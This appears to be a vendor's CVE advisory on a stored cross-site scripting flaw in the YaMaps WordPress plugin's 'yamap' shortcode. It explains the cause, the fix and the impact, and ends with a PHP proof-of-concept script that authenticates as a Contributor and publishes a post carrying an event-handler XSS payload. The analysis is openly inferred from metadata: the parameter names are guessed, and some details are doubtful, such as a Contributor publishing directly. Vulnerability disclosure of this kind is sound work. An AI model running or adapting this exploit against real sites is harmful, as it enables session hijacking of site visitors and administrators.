Atomic Edge analysis of CVE-2025-14851 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the YaMaps for WordPress plugin. The vulnerability exists in the plugin’s `yamap` shortcode handler, which fails to properly sanitize user-supplied shortcode attributes before output. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute in the browsers of any user viewing the compromised content.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description states the issue occurs via the `yamap` shortcode parameters. Without a code diff, Atomic Edge analysis concludes the plugin’s shortcode callback function likely directly echoes or unsafely renders user-controlled attribute values without applying WordPress escaping functions like `esc_attr()` or `esc_html()`. This inference is based on the CWE pattern and the described attack vector.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker creates or edits a post or page and inserts the `yamap` shortcode with malicious JavaScript payloads in its attributes. For example, `[yamap param=”alert(document.domain)”]`. The exact vulnerable parameter names are unspecified, but the description indicates multiple attributes are affected. The payload is stored in the post content. It executes when any visitor, including administrators, views the page where the shortcode is rendered.
Remediation requires proper output escaping on all shortcode attributes before they are printed to the browser. The patched version 0.6.41 likely added calls to WordPress core escaping functions like `esc_attr()` for HTML attributes and `wp_kses()` for any HTML content within attributes. Input sanitization functions like `sanitize_text_field()` may also have been added during shortcode attribute processing. The fix must ensure all user-controlled data is contextually escaped at the point of output.
Successful exploitation allows attackers to perform actions within the victim’s browser session. This can lead to session hijacking, administrative actions performed by administrators viewing the page, content defacement, or redirection to malicious sites. The stored nature of the attack amplifies impact, as the payload executes for every page view until removed. The CVSS vector scores a Scope change (S:C) because the vulnerability can affect users beyond the plugin’s own security scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14851 - YaMaps for WordPress <= 0.6.40 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Parameters
<?php
/**
* Proof of Concept for CVE-2025-14851.
* This script simulates an authenticated Contributor user injecting a stored XSS payload
* via the vulnerable 'yamap' shortcode in a WordPress post.
* Assumptions:
* 1. The target site has the YaMaps plugin (<=0.6.40) installed.
* 2. Valid Contributor credentials are available.
* 3. The 'yamap' shortcode accepts user-controlled attributes that are rendered unsafely.
* 4. The WordPress REST API is available for authentication and post creation.
*/
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: A simple alert to demonstrate script execution. A real attack would use a more sophisticated payload.
$malicious_attribute = '" onmouseover="alert(document.domain)" data-xss="';
// Construct the shortcode. The exact vulnerable parameter is unspecified; we assume a common attribute like 'id' or 'class'.
$shortcode_payload = "[yamap id={$malicious_attribute}]" ;
// Step 1: Authenticate via WordPress REST API to obtain a nonce.
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array('username' => $username, 'password' => $password);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die("Authentication failed. Check credentials and REST API availability.n");
}
$auth_data = json_decode($auth_response, true);
$token = $auth_data['token'] ?? '';
if (empty($token)) {
die("Could not retrieve authentication token.n");
}
// Step 2: Create a new post with the malicious shortcode.
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Test Post with XSS Payload',
'content' => $shortcode_payload,
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post = json_decode($post_response, true);
$post_link = $post['link'] ?? 'Post created but link not found';
echo "Exploit successful. Post created at: " . $post_link . "n";
echo "Visit the post to trigger the XSS payload in the browser.n";
} else {
echo "Post creation failed. HTTP Code: " . $http_code . "n";
echo "Response: " . $post_response . "n";
}
?>
